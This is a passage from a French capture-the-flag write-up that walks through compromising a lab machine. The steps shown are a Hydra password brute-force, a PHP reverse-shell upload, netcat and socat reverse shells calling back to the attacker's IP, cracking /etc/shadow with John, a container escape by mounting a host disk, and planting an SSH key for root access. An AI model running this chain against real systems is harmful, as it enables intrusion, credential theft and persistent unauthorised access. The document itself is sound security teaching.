Commande :
nmap -T5 -sV -p- 10.10.78.81
Sur les trois services web, il faut parser les répertoires voir ce qu’il peut y avoir d’intéressant. Opération effectuée avec Dirsearch
Commande :
dirsearch -u 10.10.78.81 -x 403
dirsearch -u 10.10.78.81:8000 -x 403
dirsearch -u 10.10.78.81:8080 -x 400,401,403,404,500
Il n’y a rien de probant qui apparait.
Sur le port 80, on a la possibilité de récupérer un fichier hamlet.txt, ainsi qu’une information concernant Michael ‘ghost’ qui semble être obsédé par un dénommé Hamlet.
Sur le port 8000, il y a la même chose ou presque. En effet, le texte sur hamlet semble être le même que sur le port 80. Il s’agit en fait d’une iframe dont la source se trouve à cette adresse : /repository/project/0/document/0/source/hamlet.txt
Sur le port 8080, le site propose de se connecter avec des identifiants que l’on n’a pas.
L’accès au serveur FTP se fait avec le compte anonymous mais pour d’obscures raisons, je n’ai pu y accéder qu’à partir de Firefox.
On récupère des règles de par feu avec le fichier ufw.status et des règles de politique de mots de passe avec le fichier password-policy.md
À ce stade le fichier password-policy.md est très intéressant, car il nous donne la longueur et la complexité du mot de passe.
À l’aide de cewl et le fichier hamet.txt, on va créer une liste de mot de passe.
Commande :
cewl -m 12 –lowercase -w password_list.txt http://10.10.78.81/hamlet.txt
Avec cette liste de mots de 12 caractères minimum, en minuscule, on va avec Hydra bruteforcer le login de l’utilisateur ghost
hydra -V -l ghost -P test.txt 10.10.78.81 -s 8080 http-post-form -m « /login.html?-1.-loginForm:urlfragment=&username=^USER^&password=^PASS^&Login=Login:’Login failed' »
Une fois connecté, il faut créer un nouveau projet. Puis, il faut lui ajouter un document. À la place d’un fichier texte, on va lui mettre un reverse shell en PHP. Il ne vérifie ni le contenu, ni l’extension du fichier.
Dans l’onglet documents, on peut en cliquant sur Browse, insérer le reverse shell. Le shell utilisé est celui de pentestmonkey disponible en téléchargement direct à cette adresse. https://pentestmonkey.net/tools/php-reverse-shell/php-reverse-shell-1.0.tar.gz
Il ne reste plus qu’a trouvé ou ce dernier a été enregistré. Il faut se souvenir que sur le port 8000, on avait trouvé l’emplacement du document hamlet.txt
/repository/project/0/document/0/source/hamlet.txt
En remplacement les 0 par des 1 et hamlet.txt par shell.php, on peut retrouver notre reverse_shell. L’adresse final http://10.10.78.81:8000/repository/project/1/document/1/source/shell.php
Avant de valider le lien, il faut mettre en place un écouteur netcat.
Commande :
nc -nlvp 1234
Python n’étant pas installé ni socat d’ailleurs, il est assez difficile d’énumérer le système. Pour parer à ça, je vais télécharger le binaire socat et l’utiliser pour upgrader le shell.
Lien pour télécharger socat https://raw.githubusercontent.com/andrew-d/static-binaries/master/binaries/linux/x86_64/socat
Il faut le télécharger ensuite sur la machine victime. WGET n’étant pas installé, il faut utiliser CURL
Commande :
curl -O http://10.11.38.124:8000/socat
Commande avec un serveur web sur kali :
python3.9 -m http.server
Puis faire ses deux commandes :
chmod +x socat
Écouteur sur kali :
socat file:`tty`,raw,echo=0 tcp-listen:4444
Commande sur la machine victime :
/tmp/socat exec:’bash -li’,pty,stderr,setsid,sigint,sane tcp:10.11.38.124:4444
On est dans un conteneur, mais on a la possibilité de casser le mot de passe du compte. Le fichier shadow est accessible. Après avoir copie le contenu du /etc/shadow et /etc/passwd il faut utiliser unshadow et johntheripper
Commande :
unshadow passwd shadow > unshadow
john unshadow –format=crypt –wordlist=/usr/share/wordlists/rockyou.txt
Maintenant que nous sur le compte, on a la possibilité de faire toutes les manipulations possibles.
Énumération locale :
Dans /dev, on peut un certain nombre de disques.
ls -al /dev/ | grep disk
Comme on peut le voir il y a plusieurs disques dont xvda1 2 et 3.
Seul xvda2 peut-être monté dans un dossier. Les deux autres ne peuvent pas l’être.
Une fois que l’on a monté les xvda2 dans le dossier /mnt/xvda2_fake, on peut récupérer le flag root. Il est aussi possible de créer une clé privée ssh et de s’en servir pour se connecter sur le système.
Montage de xvda2 :
mkdir /mnt/xvda2_fake
mount /dev/xvda2 /mnt/xvda2_fake/
Création d’une clé id_rsa :
ssh key-gen
Copie id_rsa.pub dans authorized_keys:
echo ‘id_rsa.pub’ >> authorized_keys
Connexion ssh:
chmod 600 id_rsa
ssh root@10.10.78.81 -i id_rsa
That’s all folks
Merci d’avoir pris la peine de venir sur le site de lire ce Write Up
J’espère qu’il vous a plus et qu’il vous apprit des nouvelles choses.
N’hésitez pas à laisse un commentaire ou à partager cet article.